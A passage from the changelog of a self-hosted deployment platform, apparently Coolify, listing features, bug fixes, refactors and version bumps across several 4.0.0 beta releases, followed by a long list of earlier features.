mail (#5737) -- *(docker)* Fix production dockerfile -- *(service)* Navidrome service -- *(service)* Passbolt -- *(service)* Add missing ENVs to NTFY service (#5629) -- *(service)* NTFY is behind a proxy -- *(service)* Vert logo and ENVs -- *(service)* Add platform to Observium service -- *(ActivityMonitor)* Prevent multiple event dispatches during polling -- *(service)* Convex ENVs and update image versions (#5827) -- *(service)* Paymenter -- *(ApplicationDeploymentJob)* Ensure correct COOLIFY_FQDN/COOLIFY_URL values (#4719) -- *(service)* Snapdrop no matching manifest error (#5849) -- *(service)* Use the same volume between chatwoot and sidekiq (#5851) -- *(api)* Validate docker_compose_raw input in ApplicationsController -- *(api)* Enhance validation for docker_compose_raw in ApplicationsController -- *(select)* Update PostgreSQL versions and titles in resource selection -- *(database)* Include DatabaseStatusChanged event in activityMonitor dispatch -- *(css)* Tailwind v5 things -- *(service)* Diun ENV for consistency -- *(service)* Memos service name -- *(css)* 8+ issue with new tailwind v4 -- *(css)* `bg-coollabs-gradient` not working anymore -- *(ui)* Add back missing service navbar components -- *(deploy)* Update resource timestamp handling in deploy_resource method -- *(patches)* DNF reboot logic is flipped -- *(deployment)* Correct syntax for else statement in docker compose build command -- *(shared)* Remove unused relation from queryDatabaseByUuidWithinTeam function -- *(deployment)* Correct COOLIFY_URL and COOLIFY_FQDN assignments based on parsing version in preview deployments -- *(docker)* Ensure correct parsing of environment variables by limiting explode to 2 parts -- *(project)* Update selected environment handling to use environment name instead of UUID -- *(ui)* Update server status display and improve server addition layout -- *(service)* Neon WS Proxy service not working on ARM64 (#5887) -- *(server)* Enhance error handling in server patch check notifications -- *(PushServerUpdateJob)* Add null checks before updating application and database statuses -- *(environment-variables)* Update label text for build variable checkboxes to improve clarity -- *(service-management)* Update service stop and restart messages for improved clarity and formatting -- *(preview-form)* Update helper text formatting in preview URL template input for better readability -- *(application-management)* Improve stop messages for application, database, and service to enhance clarity and formatting -- *(application-configuration)* Prevent access to preview deployments for deploy_key applications and update menu visibility accordingly -- *(select-component)* Handle exceptions during parameter retrieval and environment selection in the mount method -- *(previews)* Escape container names in stopContainers method to prevent shell injection vulnerabilities -- *(docker)* Add protection against empty container queries in GetContainersStatus to prevent unnecessary updates -- *(modal-confirmation)* Decode HTML entities in confirmation text to ensure proper display -- *(select-component)* Enhance user interaction by adding cursor styles and disabling selection during processing -- *(deployment-show)* Remove unnecessary fixed positioning for button container to improve layout responsiveness -- *(email-notifications)* Change notify method to notifyNow for immediate test email delivery -- *(service-templates)* Update Convex service configuration to use FQDN variables -- *(database-heading)* Simplify stop database message for clarity -- *(navbar)* Remove unnecessary x-init directive for loading proxy configuration -- *(patches)* Add padding to loading message for better visibility during update checks -- *(terminal-connection)* Improve error handling and stability for auto-connection; enhance component readiness checks and retry logic -- *(terminal)* Add unique wire:key to terminal component for improved reactivity and state management -- *(css)* Adjust utility classes in utilities.css for consistent application of Tailwind directives -- *(css)* Refine utility classes in utilities.css for proper Tailwind directive application -- *(install)* Update Docker installation script to use dynamic OS_TYPE and correct installation URL -- *(cloudflare)* Add error handling to automated Cloudflare configuration script -- *(navbar)* Add error handling for proxy status check to improve user feedback -- *(web)* Update user team retrieval method for consistent authentication handling -- *(cloudflare)* Update refresh method to correctly set Cloudflare tunnel status and improve user notification on IP address update -- *(service)* Update service template for affine and add migration service for improved deployment process -- *(supabase)* Update Supabase service images and healthcheck methods for improved reliability -- *(terminal)* Now it should work -- *(degraded-status)* Remove unnecessary whitespace in badge element for cleaner HTML -- *(routes)* Add name to security route for improved route management -- *(migration)* Update default value handling for is_sentinel_enabled column in server_settings -- *(seeder)* Conditionally dispatch CheckAndStartSentinelJob based on server's sentinel status -- *(service)* Disable healthcheck logging for Gotenberg (#6005) -- *(service)* Joplin volume name (#5930) -- *(server)* Update sentinelUpdatedAt assignment to use server's sentinel_updated_at property - -### 💼 Other - -- Add support for postmarketOS (#5608) -- *(core)* Simplify events for app/db/service status changes - -### 🚜 Refactor - -- *(service)* Observium -- *(service)* Improve leantime -- *(service)* Imporve limesurvey -- *(service)* Improve CodiMD -- *(service)* Typsense -- *(services)* Improve yamtrack -- *(service)* Improve paymenter -- *(service)* Consolidate configuration change dispatch logic and remove unused navbar component -- *(sidebar)* Simplify server patching link by removing button element -- *(slide-over)* Streamline button element and improve code readability -- *(service)* Enhance modal confirmation component with event dispatching for service stop actions -- *(slide-over)* Enhance class merging for improved component styling -- *(core)* Use property promotion -- *(service)* Improve maybe -- *(applications)* Remove unused docker compose raw decoding -- *(service)* Make TYPESENSE_API_KEY required -- *(ui)* Show toast when server does not work and on stop -- *(service)* Improve superset -- *(service)* Improve Onetimesecret -- *(service)* Improve Seafile -- *(service)* Improve orangehrm -- *(service)* Improve grist -- *(application)* Enhance application stopping logic to support multiple servers -- *(pricing-plans)* Improve label class binding for payment frequency selection -- *(error-handling)* Replace generic Exception with RuntimeException for improved error specificity -- *(error-handling)* Change Exception to RuntimeException for clearer error reporting -- *(service)* Remove informational dispatch during service stop for cleaner execution -- *(server-ui)* Improve layout and messaging in advanced settings and charts views -- *(terminal-access)* Streamline resource retrieval and enhance terminal access messaging in UI -- *(terminal)* Enhance terminal connection management and error handling, including improved reconnection logic and cleanup procedures -- *(application-deployment)* Separate handling of FAILED and CANCELLED_BY_USER statuses for clearer logic and notification -- *(jobs)* Update middleware to include job-specific identifiers for WithoutOverlapping -- *(jobs)* Modify middleware to use job-specific identifier for WithoutOverlapping -- *(environment-variables)* Remove debug logging from bulk submit handling for cleaner code -- *(environment-variables)* Simplify application build pack check in environment variable handling -- *(logs)* Adjust padding in logs view for improved layout consistency -- *(application-deployment)* Streamline post-deployment process by always dispatching container status check -- *(service-management)* Enhance container stopping logic by implementing parallel processing and removing deprecated methods -- *(activity-monitor)* Change activity property visibility and update view references for consistency -- *(activity-monitor)* Enhance layout responsiveness by adjusting class bindings and structure for better display -- *(service-management)* Update stopContainersInParallel method to enforce Server type hint for improved type safety -- *(service-management)* Rearrange docker cleanup logic in StopService to improve readability -- *(database-management)* Simplify docker cleanup logic in StopDatabase to enhance readability -- *(activity-monitor)* Consolidate activity monitoring logic and remove deprecated NewActivityMonitor component -- *(activity-monitor)* Update dispatch method to use activityMonitor instead of deprecated newActivityMonitor -- *(push-server-update)* Enhance application preview handling by incorporating pull request IDs and adding status update protections -- *(docker-compose)* Replace hardcoded Docker Compose configuration with external YAML template for improved database detection testing -- *(test-database-detection)* Rename services for clarity, add new database configurations, and update application service dependencies -- *(database-detection)* Enhance isDatabaseImage function to utilize service configuration for improved detection accuracy -- *(install-scripts)* Update Docker installation process to include manual installation fallback and improve error handling -- *(logs-view)* Update logs display for service containers with improved headings and dynamic key binding -- *(logs)* Enhance container loading logic and improve UI for logs display across various resource types -- *(cloudflare-tunnel)* Enhance layout and structure of Cloudflare Tunnel documentation and confirmation modal -- *(terminal-connection)* Streamline auto-connection logic and improve component readiness checks -- *(logs)* Remove unused methods and debug functionality from Logs.php for cleaner code -- *(remoteProcess)* Update sanitize_utf8_text function to accept nullable string parameter for improved type safety -- *(events)* Remove ProxyStarted event and associated ProxyStartedNotification listener for code cleanup -- *(navbar)* Remove unnecessary parameters from server navbar component for cleaner implementation -- *(proxy)* Remove commented-out listener and method for cleaner code structure -- *(events)* Update ProxyStatusChangedUI constructor to accept nullable teamId for improved flexibility -- *(cloudflare)* Update server retrieval method for improved query efficiency -- *(navbar)* Remove unused PHP use statement for cleaner code -- *(proxy)* Streamline proxy status handling and improve dashboard availability checks -- *(navbar)* Simplify proxy status handling and enhance loading indicators for better user experience -- *(resource-operations)* Filter out build servers from the server list and clean up commented-out code in the resource operations view -- *(execute-container-command)* Simplify connection logic and improve terminal availability checks -- *(navigation)* Remove wire:navigate directive from configuration links for cleaner HTML structure -- *(proxy)* Update StartProxy calls to use named parameter for async option -- *(clone-project)* Enhance server retrieval by including destinations and filtering out build servers -- *(ui)* Terminal -- *(ui)* Remove terminal header from execute-container-command view -- *(ui)* Remove unnecessary padding from deployment, backup, and logs sections - -### 📚 Documentation - -- Update changelog -- *(service)* Add new docs link for zipline (#5912) -- Update changelog -- Update changelog -- Update changelog - -### 🎨 Styling - -- *(css)* Update padding utility for password input and add newline in app.css -- *(css)* Refine badge utility styles in utilities.css -- *(css)* Enhance badge utility styles in utilities.css - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update coolify version to 4.0.0-beta.419 and nightly version to 4.0.0-beta.420 in configuration files -- *(service)* Rename hoarder server to karakeep (#5607) -- *(service)* Update Supabase services (#5708) -- *(service)* Remove unused documenso env -- *(service)* Formatting and cleanup of ryot -- *(docs)* Remove changelog and add it to gitignore -- *(versions)* Update version to 4.0.0-beta.419 -- *(service)* Diun formatting -- *(docs)* Update CHANGELOG.md -- *(service)* Switch convex vars -- *(service)* Pgbackweb formatting and naming update -- *(service)* Remove typesense default API key -- *(service)* Format yamtrack healthcheck -- *(core)* Remove unused function -- *(ui)* Remove unused stopEvent code -- *(service)* Remove unused env -- *(tests)* Update test environment database name and add new feature test for converting container environment variables to array -- *(service)* Update Immich service (#5886) -- *(service)* Remove unused logo -- *(api)* Update API docs -- *(dependencies)* Update package versions in composer.json and composer.lock for improved compatibility and performance -- *(dependencies)* Update package versions in package.json and package-lock.json for improved stability and features -- *(version)* Update coolify-realtime to version 1.0.9 in docker-compose and versions files -- *(version)* Update coolify version to 4.0.0-beta.420 and nightly version to 4.0.0-beta.421 -- *(service)* Changedetection remove unused code - -## [4.0.0-beta.417] - 2025-05-07 - -### 🐛 Bug Fixes - -- *(select)* Update fallback logo path to use absolute URL for improved reliability - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update coolify version to 4.0.0-beta.418 - -## [4.0.0-beta.416] - 2025-05-05 - -### 🚀 Features - -- *(migration)* Add 'is_migrated' and 'custom_type' columns to service_applications and service_databases tables -- *(backup)* Implement custom database type selection and enhance scheduled backups management -- *(README)* Add Gozunga and Macarne to sponsors list -- *(redis)* Add scheduled cleanup command for Redis keys and enhance cleanup logic - -### 🐛 Bug Fixes - -- *(service)* Graceful shutdown of old container (#5731) -- *(ServerCheck)* Enhance proxy container check to ensure it is running before proceeding -- *(applications)* Include pull_request_id in deployment queue check to prevent duplicate deployments -- *(database)* Update label for image input field to improve clarity -- *(ServerCheck)* Set default proxy status to 'exited' to handle missing container state -- *(database)* Reduce container stop timeout from 300 to 30 seconds for improved responsiveness -- *(ui)* System theming for charts (#5740) -- *(dev)* Mount points?! -- *(dev)* Proxy mount point -- *(ui)* Allow adding scheduled backups for non-migrated databases -- *(DatabaseBackupJob)* Escape PostgreSQL password in backup command (#5759) -- *(ui)* Correct closing div tag in service index view - -### 🚜 Refactor - -- *(Database)* Streamline container shutdown process and reduce timeout duration -- *(core)* Streamline container stopping process and reduce timeout duration; update related methods for consistency -- *(database)* Update DB facade usage for consistency across service files -- *(database)* Enhance application conversion logic and add existence checks for databases and applications -- *(actions)* Standardize method naming for network and configuration deletion across application and service classes -- *(logdrain)* Consolidate log drain stopping logic to reduce redundancy -- *(StandaloneMariadb)* Add type hint for destination method to improve code clarity -- *(DeleteResourceJob)* Streamline resource deletion logic and improve conditional checks for database types -- *(jobs)* Update middleware to prevent job release after expiration for CleanupInstanceStuffsJob, RestartProxyJob, and ServerCheckJob -- *(jobs)* Unify middleware configuration to prevent job release after expiration for DockerCleanupJob and PushServerUpdateJob - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(seeder)* Update git branch from 'main' to 'v4.x' for multiple examples in ApplicationSeeder -- *(versions)* Update coolify version to 4.0.0-beta.417 and nightly version to 4.0.0-beta.418 - -## [4.0.0-beta.415] - 2025-04-29 - -### 🐛 Bug Fixes - -- *(ui)* Remove required attribute from image input in service application view -- *(ui)* Change application image validation to be nullable in service application view -- *(Server)* Correct proxy path formatting for Traefik proxy type - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update coolify version to 4.0.0-beta.416 and nightly version to 4.0.0-beta.417 in configuration files; fix links in deployment view - -## [4.0.0-beta.414] - 2025-04-28 - -### 🐛 Bug Fixes - -- *(ui)* Disable livewire navigate feature (causing spam of setInterval()) - -## [4.0.0-beta.413] - 2025-04-28 - -### 💼 Other - -- Adjust Workflows for v5 (#5689) - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(workflows)* Adjust workflow for announcement - -## [4.0.0-beta.411] - 2025-04-23 - -### 🚀 Features - -- *(deployment)* Add repository_project_id handling for private GitHub apps and clean up unused Caddy label logic -- *(api)* Enhance OpenAPI specifications with token variable and additional key attributes -- *(docker)* Add HTTP Basic Authentication support and enhance hostname parsing in Docker run conversion -- *(api)* Add HTTP Basic Authentication fields to OpenAPI specifications and enhance PrivateKey model descriptions -- *(README)* Add InterviewPal sponsorship link and corresponding SVG icon - -### 🐛 Bug Fixes - -- *(backup-edit)* Conditionally enable S3 checkbox based on available validated S3 storage -- *(source)* Update no sources found message for clarity -- *(api)* Correct middleware for service update route to ensure proper permissions -- *(api)* Handle JSON response in service creation and update methods for improved error handling -- Add 201 json code to servers validate api response -- *(docker)* Ensure password hashing only occurs when HTTP Basic Authentication is enabled -- *(docker)* Enhance hostname and GPU option validation in Docker run to compose conversion -- *(terminal)* Enhance WebSocket client verification with authorized IPs in terminal server -- *(ApplicationDeploymentJob)* Ensure source is an object before checking GitHub app properties - -### 🚜 Refactor - -- *(jobs)* Comment out unused Caddy label handling in ApplicationDeploymentJob and simplify proxy path logic in Server model -- *(database)* Simplify database type checks in ServiceDatabase and enhance image validation in Docker helper -- *(shared)* Remove unused ray debugging statement from newParser function -- *(applications)* Remove redundant error response in create_env method -- *(api)* Restructure routes to include versioning and maintain existing feedback endpoint -- *(api)* Remove token variable from OpenAPI specifications for clarity -- *(environment-variables)* Remove protected variable checks from delete methods for cleaner logic -- *(http-basic-auth)* Rename 'http_basic_auth_enable' to 'http_basic_auth_enabled' across application files for consistency -- *(docker)* Remove debug statement and enhance hostname handling in Docker run conversion -- *(server)* Simplify proxy path logic and remove unnecessary conditions - -### 📚 Documentation - -- Update changelog -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update coolify version to 4.0.0-beta.411 and nightly version to 4.0.0-beta.412 in configuration files -- *(versions)* Update coolify version to 4.0.0-beta.412 and nightly version to 4.0.0-beta.413 in configuration files -- *(versions)* Update coolify version to 4.0.0-beta.413 and nightly version to 4.0.0-beta.414 in configuration files -- *(versions)* Update realtime version to 1.0.8 in versions.json -- *(versions)* Update realtime version to 1.0.8 in versions.json -- *(docker)* Update soketi image version to 1.0.8 in production configuration files -- *(versions)* Update coolify version to 4.0.0-beta.414 and nightly version to 4.0.0-beta.415 in configuration files - -## [4.0.0-beta.410] - 2025-04-18 - -### 🚀 Features - -- Add HTTP Basic Authentication -- *(readme)* Add new sponsors Supadata AI and WZ-IT to the README -- *(core)* Enable magic env variables for compose based applications - -### 🐛 Bug Fixes - -- *(application)* Append base directory to git branch URLs for improved path handling -- *(templates)* Correct casing of "denokv" to "denoKV" in service templates JSON -- *(navbar)* Update error message link to use route for environment variables navigation -- Unsend template -- Replace ports with expose -- *(templates)* Update Unsend compose configuration for improved service integration - -### 🚜 Refactor - -- *(jobs)* Update WithoutOverlapping middleware to use expireAfter for better queue management - -### 📚 Documentation - -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Bump coolify version to 4.0.0-beta.410 and update nightly version to 4.0.0-beta.411 in configuration files -- *(templates)* Update plausible and clickhouse images to latest versions and remove mail service - -## [4.0.0-beta.409] - 2025-04-16 - -### 🐛 Bug Fixes - -- *(parser)* Transform associative array labels into key=value format for better compatibility -- *(redis)* Update username and password input handling to clarify database sync requirements -- *(source)* Update connected source display to handle cases with no source connected - -### 🚜 Refactor - -- *(source)* Conditionally display connected source and change source options based on private key presence - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Bump coolify version to 4.0.0-beta.409 in configuration files - -## [4.0.0-beta.408] - 2025-04-14 - -### 🚀 Features - -- *(OpenApi)* Enhance OpenAPI specifications by adding UUID parameters for application, project, and service updates; improve deployment listing with pagination parameters; update command signature for OpenApi generation -- *(subscription)* Enhance subscription management with loading states and Stripe status checks - -### 🐛 Bug Fixes - -- *(pre-commit)* Correct input redirection for /dev/tty and add OpenAPI generation command -- *(pricing-plans)* Adjust grid class for improved layout consistency in subscription pricing plans -- *(migrations)* Make stripe_comment field nullable in subscriptions table -- *(mongodb)* Also apply custom config when SSL is enabled -- *(templates)* Correct casing of denoKV references in service templates and YAML files -- *(deployment)* Handle missing destination in deployment process to prevent errors - -### 💼 Other - -- Add missing openapi items to PrivateKey - -### 🚜 Refactor - -- *(commands)* Reorganize OpenAPI and Services generation commands into a new namespace for better structure; remove old command files -- *(Dockerfile)* Remove service generation command from the build process to streamline Dockerfile and improve build efficiency -- *(navbar-delete-team)* Simplify modal confirmation layout and enhance button styling for better user experience -- *(Server)* Remove debug logging from isReachableChanged method to clean up code and improve performance - -### 📚 Documentation - -- Update changelog -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update nightly version to 4.0.0-beta.410 -- *(pre-commit)* Remove OpenAPI generation command from pre-commit hook -- *(versions)* Update realtime version to 1.0.7 and bump dependencies in package.json - -## [4.0.0-beta.407] - 2025-04-09 - -### 📚 Documentation - -- Update changelog - -## [4.0.0-beta.406] - 2025-04-05 - -### 🚀 Features - -- *(Deploy)* Add info dispatch for proxy check initiation -- *(EnvironmentVariable)* Add handling for Redis credentials in the environment variable component -- *(EnvironmentVariable)* Implement protection for critical environment variables and enhance deletion logic -- *(Application)* Add networkAliases attribute for handling network aliases as JSON or comma-separated values -- *(GithubApp)* Update default events to include 'pull_request' and streamline event handling -- *(CleanupDocker)* Add support for realtime image management in Docker cleanup process -- *(Deployment)* Enhance queue_application_deployment to handle existing deployments and return appropriate status messages -- *(SourceManagement)* Add functionality to change Git source and display current source in the application settings - -### 🐛 Bug Fixes - -- *(CheckProxy)* Update port conflict check to ensure accurate grep matching -- *(CheckProxy)* Refine port conflict detection with improved grep patterns -- *(CheckProxy)* Enhance port conflict detection by adjusting ss command for better output -- *(api)* Add back validateDataApplications (#5539) -- *(CheckProxy, Status)* Prevent proxy checks when force_stop is active; remove debug statement in General -- *(Status)* Conditionally check proxy status and refresh button based on force_stop state -- *(General)* Change redis_password property to nullable string -- *(DeployController)* Update request handling to use input method and enhance OpenAPI description for deployment endpoint - -### 💼 Other - -- Add missing UUID to openapi spec - -### 🚜 Refactor - -- *(Server)* Use data_get for safer access to settings properties in isFunctional method -- *(Application)* Rename network_aliases to custom_network_aliases across the application for clarity and consistency -- *(ApplicationDeploymentJob)* Streamline environment variable handling by introducing generate_coolify_env_variables method and consolidating logic for pull request and main branch scenarios -- *(ApplicationDeploymentJob, ApplicationDeploymentQueue)* Improve deployment status handling and log entry management with transaction support -- *(SourceManagement)* Sort sources by name and improve UI for changing Git source with better error handling -- *(Email)* Streamline SMTP and resend settings handling in copyFromInstanceSettings method -- *(Email)* Enhance error handling in SMTP and resend methods by passing context to handleError function -- *(DynamicConfigurations)* Improve handling of dynamic configuration content by ensuring fallback to empty string when content is null -- *(ServicesGenerate)* Update command signature from 'services:generate' to 'generate:services' for consistency; update Dockerfile to run service generation during build; update Odoo image version to 18 and add extra addons volume in compose configuration -- *(Dockerfile)* Streamline RUN commands for improved readability and maintainability by adding line continuations -- *(Dockerfile)* Reintroduce service generation command in the build process for consistency and ensure proper asset compilation - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Bump version to 406 -- *(versions)* Bump version to 407 and 408 for coolify and nightly -- *(versions)* Bump version to 408 for coolify and 409 for nightly - -## [4.0.0-beta.405] - 2025-04-04 - -### 🚀 Features - -- *(api)* Update OpenAPI spec for services (#5448) -- *(proxy)* Enhance proxy handling and port conflict detection - -### 🐛 Bug Fixes - -- *(api)* Used ssh keys can be deleted -- *(email)* Transactional emails not sending - -### 🚜 Refactor - -- *(CheckProxy)* Replace 'which' with 'command -v' for command availability checks - -### 📚 Documentation - -- Update changelog -- Update changelog -- Update changelog -- Update changelog -- Update changelog -- Update changelog -- Update changelog -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Bump version to 406 -- *(versions)* Bump version to 407 - -## [4.0.0-beta.404] - 2025-04-03 - -### 🚀 Features - -- *(lang)* Added Azerbaijani language updated turkish language. (#5497) -- *(lang)* Added Portuguese from Brazil language (#5500) -- *(lang)* Add Indonesian language translations (#5513) - -### 🐛 Bug Fixes - -- *(docs)* Comment out execute for now -- *(installation)* Mount the docker config -- *(installation)* Path to config file for docker login -- *(service)* Add health check to Bugsink service (#5512) -- *(email)* Emails are not sent in multiple cases -- *(deployments)* Use graceful shutdown instead of `rm` -- *(docs)* Contribute service url (#5517) -- *(proxy)* Proxy restart does not work on domain -- *(ui)* Only show copy button on https -- *(database)* Custom config for MongoDB (#5471) - -### 📚 Documentation - -- Update changelog -- Update changelog -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(service)* Remove unused code in Bugsink service -- *(versions)* Update version to 404 -- *(versions)* Bump version to 403 (#5520) -- *(versions)* Bump version to 404 - -## [4.0.0-beta.402] - 2025-04-01 - -### 🚀 Features - -- *(deployments)* Add list application deployments api route -- *(deploy)* Add pull request ID parameter to deploy endpoint -- *(api)* Add pull request ID parameter to applications endpoint -- *(api)* Add endpoints for retrieving application logs and deployments -- *(lang)* Added Norwegian language (#5280) -- *(dep)* Bump all dependencies - -### 🐛 Bug Fixes - -- Only get apps for the current team -- *(DeployController)* Cast 'pr' query parameter to integer -- *(deploy)* Validate team ID before deployment -- *(wakapi)* Typo in env variables and add some useful variables to wakapi.yaml (#5424) -- *(ui)* Instance Backup settings - -### 🚜 Refactor - -- *(dev)* Remove OpenAPI generation functionality -- *(migration)* Enhance local file volumes migration with logging - -### ⚙️ Miscellaneous Tasks - -- *(service)* Update minecraft service ENVs -- *(service)* Add more vars to infisical.yaml (#5418) -- *(service)* Add google variables to plausible.yaml (#5429) -- *(service)* Update authentik.yaml versions (#5373) -- *(core)* Remove redocs -- *(versions)* Update coolify version numbers to 4.0.0-beta.403 and 4.0.0-beta.404 - -## [4.0.0-beta.401] - 2025-03-28 - -### 📚 Documentation - -- Update changelog -- Update changelog - -## [4.0.0-beta.400] - 2025-03-27 - -### 🚀 Features - -- *(database)* Disable MongoDB SSL by default in migration -- *(database)* Add CA certificate generation for database servers -- *(application)* Add SPA configuration and update Nginx generation logic - -### 🐛 Bug Fixes - -- *(file-storage)* Double save on compose volumes -- *(parser)* Add logging support for applications in services - -### 🚜 Refactor - -- *(proxy)* Improve port availability checks with multiple methods -- *(database)* Update MongoDB SSL configuration for improved security -- *(database)* Enhance SSL configuration handling for various databases -- *(notifications)* Update Telegram button URL for staging environment -- *(models)* Remove unnecessary cloud check in isEnabled method -- *(database)* Streamline event listeners in Redis General component -- *(database)* Remove redundant database status display in MongoDB view -- *(database)* Update import statements for Auth in database components -- *(database)* Require PEM key file for SSL certificate regeneration -- *(database)* Change MySQL daemon command to MariaDB daemon -- *(nightly)* Update version numbers and enhance upgrade script -- *(versions)* Update version numbers for coolify and nightly -- *(email)* Validate team membership for email recipients -- *(shared)* Simplify deployment status check logic -- *(shared)* Add logging for running deployment jobs -- *(shared)* Enhance job status check to include 'reserved' -- *(email)* Improve error handling by passing context to handleError -- *(email)* Streamline email sending logic and improve configuration handling -- *(email)* Remove unnecessary whitespace in email sending logic -- *(email)* Allow custom email recipients in email sending logic -- *(email)* Enhance sender information formatting in email logic -- *(proxy)* Remove redundant stop call in restart method -- *(file-storage)* Add loadStorageOnServer method for improved error handling -- *(docker)* Parse and sanitize YAML compose file before encoding -- *(file-storage)* Improve layout and structure of input fields -- *(email)* Update label for test email recipient input -- *(database-backup)* Remove existing Docker container before backup upload -- *(database)* Improve decryption and deduplication of local file volumes -- *(database)* Remove debug output from volume update process - -### 📚 Documentation - -- Update changelog -- Update changelog - -### ⚙️ Miscellaneous Tasks - -- *(versions)* Update version numbers for coolify and nightly - -### ◀️ Revert - -- Encrypting mount and fs_path - -## [4.0.0-beta.399] - 2025-03-25 - ### 🚀 Features +- Use tags in update +- New update process (#115) +- VaultWarden service +- Www <-> non-www redirection for apps +- Www <-> non-www redirection +- Follow logs +- Generate www & non-www SSL certs +- Basic password reset form +- Scan for lock files and set right commands +- Public port range (WIP) +- Ports range +- Random subdomain for demo +- Random domain for services +- Astro buildpack +- 11ty buildpack +- Registration page +- Languagetool service +- Send version with update request +- Service secrets +- Webhooks inititate all applications with the correct branch +- Check ssl for new apps/services first +- Autodeploy pause +- Install pnpm into docker image if pnpm lock file is used +- Add PHP modules +- Use compose instead of normal docker cmd +- Be able to redeploy PRs +- Add n8n.io service +- Add update kuma service +- Ghost service +- Initial python support +- Add loading on register button +- *(dev)* Allow windows users to use pnpm dev +- MeiliSearch service +- Add abilitry to paste env files +- Wordpress on-demand SFTP +- Finalize on-demand sftp for wp +- PHP Composer support +- Working on-demand sftp to wp data +- Admin team sees everything +- Able to change service version/tag +- Basic white labeled version +- Able to modify database passwords +- Add persistent storage for services +- Multiply dockerfile locations for docker buildpack +- Testing fluentd logging driver +- Fluentbit investigation +- Initial deno support +- Deno DB migration +- Show exited containers on UI & better UX +- Query container state periodically +- Install svelte-18n and init setup +- Umami service +- Coolify auto-updater +- Autoupdater +- Select base image for buildpacks +- Hasura as a service +- Gzip compression +- Laravel buildpack is working! +- Laravel +- Fider service +- Database and services logs +- DNS check settings for SSL generation +- Cancel builds! +- Basic server usage on dashboard +- Show usage trends +- Usage on dashboard +- Custom script path for Plausible +- WP could have custom db +- Python image selection +- PageLoader +- Database + service usage +- Ability to change deployment type for nextjs +- Ability to change deployment type for nuxtjs +- Gitpod ready code(almost) +- Add Docker buildpack exposed port setting +- Custom port for git instances +- Gitpod integration +- Init moodle and separate stuffs to shared package +- Moodle init +- Remote docker engine init +- Working on remote docker engine +- Rde +- Remote docker engine +- Ipv4 and ipv6 +- Contributors +- Add arch to database +- Stop preview deployment +- Persistent storage for all services +- Cleanup clickhouse db +- Init heroku buildpacks +- Databases on ARM +- Mongodb arm support +- New dashboard +- Appwrite service +- Heroku deployments +- Deploy bots (no domains) +- Custom dns servers +- Import public repos (wip) +- Public repo deployment +- Force rebuild + env.PORT for port + public repo build +- Add GlitchTip service +- Searxng service +- *(ui)* Rework home UI and with responsive design +- New service - weblate +- Restart application +- Show elapsed time on running builds +- Github allow fual branches +- Gitlab dual branch +- Taiga +- *(routes)* Rework ui from login and register page +- Add traefik acme json to coolify container +- Database secrets +- New servers view +- Add queue reset button +- Previewapplications init +- PreviewApplications finalized +- Fluentbit +- Show remote servers +- *(layout)* Added drawer when user is in mobile +- Re-apply ui improves +- *(ui)* Improve header of pages +- *(styles)* Make header css component +- *(routes)* Improve ui for apps, databases and services logs +- Add migration button to appwrite +- Custom certificate +- Ssl cert on traefik config +- Refresh resource status on dashboard +- Ssl certificate sets custom ssl for applications +- System-wide github apps +- Cleanup unconfigured applications +- Cleanup unconfigured services and databases +- Docker compose support +- Docker compose +- Docker compose +- Monitoring by container +- Initial support for specific git commit +- Add default to latest commit and support for gitlab +- Redirect catch-all rule +- Rollback coolify +- Only show expose if no proxy conf defined in template +- Custom/private docker registries +- Use registry for building +- Docker registries working +- Custom docker compose file location in repo +- Save doNotTrackData to db +- Add default sentry +- Do not track in settings +- System wide git out of beta +- Custom previewseparator +- Sentry frontend +- Able to host static/php sites on arm +- Save application data before deploying +- SimpleDockerfile deployment +- Able to push image to docker registry +- Revert to remote image +- *(api)* Name label +- Add Openblocks icon +- Adding icon for whoogle +- *(ui)* Add libretranslate service icon +- Handle invite_only plausible analytics +- Init h2c (http2/grpc) support +- Http + h2c paralel +- Github raw icon url +- Remove svg support +- Add host path to any container +- Able to control multiplexing +- Add runRemoteCommandSync +- Github repo with deployment key +- Add persistent volumes +- Debuggable executeNow commands +- Add private gh repos +- Delete gh app +- Installation/update github apps +- Auto-deploy +- Deploy key based deployments +- Resource limits +- Long running queue with 1 hour of timeout +- Add arm build to dev +- Disk cleanup threshold by server +- Notify user of disk cleanup init +- Pricing plans ans subs +- Add s3 storages +- Init postgresql database +- Add backup notifications +- Dockerfile build pack +- Cloud +- Force password reset + waitlist +- Send internal notification to discord +- Monitor server connection +- Invite by email from waitlist +- Rolling update +- Add resend as transactional emails +- Send request in cloud +- Add discord notifications +- Public database +- Telegram topics separation +- Developer view for env variables +- Cache team settings +- Generate public key from private keys +- Able to invite more people at once +- Trial +- Dynamic trial period +- Ssh-agent instead of filesystem based ssh keys +- New container status checks +- Generate ssh key +- Sentry add email for better support +- Healthcheck for apps +- Add cloudflare tunnel support +- Services +- Image tag for services +- Container logs +- Reset root password +- Attach Coolify defined networks to services +- Delete resource command +- Multiselect removable resources +- Disable service, required version +- Basedir / monorepo initial support +- Init version of any git deployment +- Deploy private repo with ssh key +- Add email verification for cloud +- Able to deploy docker images +- Add dockerfile location +- Proxy logs on the ui +- Add custom redis conf +- Use docker login credentials from server +- Able to customize docker labels on applications +- Show if config is not applied +- Standalone mongodb +- Cloning project +- Api tokens + deploy webhook +- Start all kinds of things +- Simple search functionality +- Mysql, mariadb +- Lock environment variables +- Download local backups +- Improve deployment time by a lot +- Deployment logs fullscreen +- Service database backups +- Make service databases public +- Log drain (wip) +- Enable/disable log drain by service +- Log drainer container check +- Add docker engine support install script to rhel based systems +- Save timestamp configuration for logs +- Custom log drain endpoints +- Auto-restart tcp proxies for databases +- Execute command in container +- Autoupdate env during seed +- Disable autoupdate +- Randomly sleep between executions +- Pull latest images for 